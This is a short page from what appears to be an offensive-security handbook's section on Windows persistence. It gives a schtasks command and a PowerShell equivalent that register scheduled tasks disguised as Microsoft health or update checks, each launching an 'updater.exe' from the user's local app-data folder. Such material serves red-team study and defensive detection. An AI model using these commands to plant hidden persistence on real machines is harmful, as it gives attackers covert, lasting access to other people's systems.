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OOTW / Chapter II - Local / 04. Windows / 03. Persistence / Scheduled Tasks

Repeating Task

Repeating tasks are reliable but noisy.

schtasks /create /tn "\Microsoft\Windows\HealthCheck" /sc minute /mo 5 /tr "%LOCALAPPDATA%\Microsoft\WindowsApps\updater.exe" /f

PowerShell alternative:

$Action = New-ScheduledTaskAction -Execute "$env:LOCALAPPDATA\Microsoft\WindowsApps\updater.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "UpdateCheck" -Action $Action -Trigger $Trigger -Description "Update check"